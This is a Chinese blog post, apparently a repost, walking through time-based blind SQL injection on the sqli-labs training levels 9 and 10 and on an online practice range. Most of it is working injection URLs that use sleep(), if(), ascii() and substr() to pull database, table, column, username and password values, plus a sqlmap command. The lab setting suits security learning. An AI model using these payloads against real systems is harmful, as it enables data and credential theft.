zoukankan      html  css  js  c++  java
  • SQLi-第九关-第十关(时间盲注)

    时间盲注也叫延迟注入

    延迟注入,是一种盲注的手法,提交队形时间敏感的函数SQL语句,通过执行时间的长短来判断是否执行成功。 

    延迟注入的函数

    sleep()  #时间函数

    if(condition,true,false)  #条件语句

    ascii()  #转换成accii码

    substring("string",strart,length)  #mid()也一样,取出字符里的第几位开始,长度多少的字符

    IF表达式:IF(expr1,expr2,expr3)

    如果 expr1是TRUE(expr1<>0 and expr1 <> NULL),则IF()的返回值为expr2;否则返回值为 expr3

    Mid函数:MID(column_name,start[,length])

     延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时。

    判断是否有时间注入:

     and sleep(5) --+

    '  and sleep(5) --+

    "  and sleep(5) --+

    )  and sleep(5) --+

    ')  and sleep(5) --+

    ")  and sleep(5) --+

    说一大堆P话,还是开搞。我用时间盲注的时候大多数都是遇到防火墙

    http://localhost/sqli/Less-9/?id=1' and sleep(5) --+  #测试成功

     证明有了,那就是爆数据库长度

    http://localhost/sqli/Less-9/?id=1' and if(length(database())=8,sleep(5),0) --+   #8位数据库长度

    http://localhost/sqli/Less-9/?id=1'and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+//通过修改substr的步长来进一步猜测数据库名的其他字符

     http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0) --+  #爆表名

    http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),0) --+  #爆字段

    http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0) --+  #爆用户名

     http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0) --+  #爆密码

     第十关

    基本相同,就是单引号和双引号的区别

    http://localhost/sqli/Less-10/?id=1" and sleep(3)--+  #测试注入点

    http://localhost/sqli/Less-10/?id=1" and if(length(database())=8,sleep(3),0)--+  #爆据库长度

    http://localhost/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+  #爆数据库字符

    http://localhost/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+  #爆数据表

    http://localhost/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(3),0)--+  #爆数据表字段

    http://localhost/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(3),0)--+  #爆用户名

    http://localhost/sqli/Less-10/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(3),0)--+  #爆密码

    在线靶场案例-SQL注入漏洞测试(时间盲注)

    https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe

     点击墨者的任性网页。

    根据提示:

    http://219.153.49.228:43567/flag.php?type=1

     看到这个页面我们应该想到是否是一个注入点,单引号上手

    http://219.153.49.228:43567/flag.php?type=1'

    我不会提示你的。。。。。耐心一点。why。既然这个靶场叫时间靶场,那么我们就是

    and sleep(5) --+

    我们是不是找错注入点呢!

    http://219.153.49.228:43567/flag.php?type=1'--+ #还是以前的页面

    http://219.153.49.228:43567/flag.php?type=1"--+ #效果一样

    我们应该怎么做呢!

    返回测试 没有加单引号和双引号 的测试

    http://219.153.49.228:43567/flag.php?type=1 and sleep(5)--+

    明显的时间注入。。。

    那么我就应该用工具sqlmap,时间盲注是在太烦了。

    伤不起sqlmap直接挂了。。。。

    sqlmap -u http://219.153.49.228:42878/flag.php?type=1 --dbs

    http://219.153.49.228:42878/flag.php?type=flag%27

    再挂了就手工注入。手工注入开始

    http://219.153.49.228:42482/flag.php?type=1 and if(length(database())=12,sleep(5),0)--+ #数据库长度为12

    其实爆数据库没有什么意义。好吧我用工具了,无情呀!

     

  • 相关阅读:
    Intellij IDEA创建Maven Web项目<转>
    Spring事件监听Demo
    maven打包源码<转>
    枚举类转成json
    Java多线程编程中Future模式的详解<转>
    细数JDK里的设计模式<转>
    设计模式-观察者模式(下)<转>
    Sqlserver自定义函数Function
    sqlSQL2008如何创建定时作业
    JSON 序列化和反序列化——JavaScriptSerializer实现
  • 原文地址:https://www.cnblogs.com/llcn/p/12711267.html
Copyright © 2011-2022 走看看